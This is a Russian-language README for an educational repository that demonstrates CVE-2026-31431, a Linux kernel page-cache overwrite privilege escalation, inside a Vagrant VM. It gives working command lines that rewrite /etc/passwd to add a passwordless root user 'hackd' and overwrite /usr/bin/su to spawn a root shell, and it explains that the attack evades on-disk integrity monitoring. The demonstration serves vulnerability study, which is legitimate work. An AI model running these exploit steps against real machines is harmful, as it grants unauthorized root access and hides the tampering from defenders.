
Демонстрация и объяснение CVE-2026-31431
Демонстрация и объяснение уязвимости CVE-2026-31431 — локальное повышение привилегий в ядре Linux, вызванное ошибкой Copy Fail. Уязвимость позволяет перезаписывать данные в кэше страниц для файлов, открытых с правом чтения.
Этот репозиторий предназначен только для образовательных целей и демонстрирует уязвимость в контролируемой среде. Включены следующие файлы:
├── exploit
│ ├── copy_fail.py # Custom exploit that can target any file with read permissions
│ ├── original_payload.txt # A copy of the payload used in the original exploit
│ ├── copy_fail_original.py # Original exploit that overwrites /usr/bin/su
│ └── copy_fail_readable.py # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile # Setup for the Vagrant VM running Ubuntu 22.04
Уязвимость, названная Copy Fail, присутствует в ядрах Linux с 2017 по 2026 год из-за логической ошибки в algif_aead. Ей присвоен идентификатор CVE-2026-31431 с оценкой CVSS 7.8, что соответствует высокому уровню серьезности. Эксплойт является детерминированным и может обходить традиционные средства контроля целостности файлов.
Концепт-эксплойты были опубликованы на различных языках, включая C, Python и Go, но в этой демонстрации используется Python, требующий версии 3.10 или выше. Этот эксплойт требует локального выполнения кода от имени непривилегированного пользователя и может использоваться для локального повышения привилегий.
Ниже приведены разделы:
Убедитесь, что у вас установлены Vagrant и QEMU. Затем клонируйте этот репозиторий и перейдите в каталог проекта.
vagrant up
vagrant ssh
Внутри виртуальной машины мы можем проверить пределы своих возможностей.
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have
stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions
Очевидно, что наши возможности ограничены, но мы можем использовать уязвимость для повышения привилегий.
Чтобы понять уязвимость, давайте перезапишем тестовый файл и посмотрим, что произойдет.
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
У нас есть файл с тремя строками. Первая строка имеет размер 6 байт (включая символ новой строки), вторая — 2 байта, а третья — один байт. Это важно, поскольку эксплойт перезаписывает данные блоками по 4 байта, и мы дополняем полезную нагрузку до нужного размера.
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
Мы видим, что первые 8 байт файла заменены нашей полезной нагрузкой. Там есть два символа, которые не являются печатными. Откройте файл в nano, чтобы проверить.
Но это не слишком впечатляет, поэтому перейдем к записи в файлы, на запись в которые у нас нет прав.
Мы можем перезаписать содержимое /etc/passwd, чтобы добавить пользователя с привилегиями root, но без пароля.
cat /etc/passwd
Первая строка содержит пользователя root и состоит из 8 групп по 4 символа (включая символ новой строки). Она отформатирована следующим образом: root:x:0:0:root:/root:/bin/bash, и значения относятся к имени пользователя, паролю, UID, GID, домашнему каталогу и оболочке.
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
Мы добавили нового пользователя hackd с UID 0 и GID 0, что означает наличие привилегий root. Поле пароля пустое, поэтому мы можем войти без пароля.
su hackd
id
cat /etc/shadow
В оригинальном эксплойте бинарный файл /usr/bin/su перезаписывается инструкциями для запуска оболочки, что позволяет атакующему получить привилегии root при выполнении su. Мы можем воспроизвести этот эксплойт, нацелившись на /usr/bin/su с исходной полезной нагрузкой из файла.
Обратите внимание, что это разрушает бинарный файл su в этом кэше страниц.
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
Когда полезная нагрузка установлена, мы можем выполнить su и получить привилегии root. Это открывает оболочку с идентификатором пользователя 0, который обычно является пользователем root, но если предыдущая демонстрация была выполнена, это будет созданный нами пользователь hackd. Этот эксплойт откроет оболочку, даже если у пользователя root есть пароль.
su
id
Этот эксплойт не изменяет файл на диске, а изменяет состояние кэша страниц. В результате традиционные средства контроля целостности файлов, которые проверяют изменения файлов на диске, не обнаруживают этот эксплойт.
Чтобы продемонстрировать это, выполните указанные выше эксплойты, а затем после перезагрузки виртуальной машины проверьте содержимое целевого файла.
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk
В эксплойте используются следующие компоненты:
AD||CT||TAGTAGseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loКоммит, который включил оптимизацию на месте, создавшую эту уязвимость:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
Патч был выпущен без каких-либо публичных объявлений и удаляет функциональность операции на месте в algif_aead:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Дополнительное чтение:
Реализации на Python
Реализации на C
Реализации на Go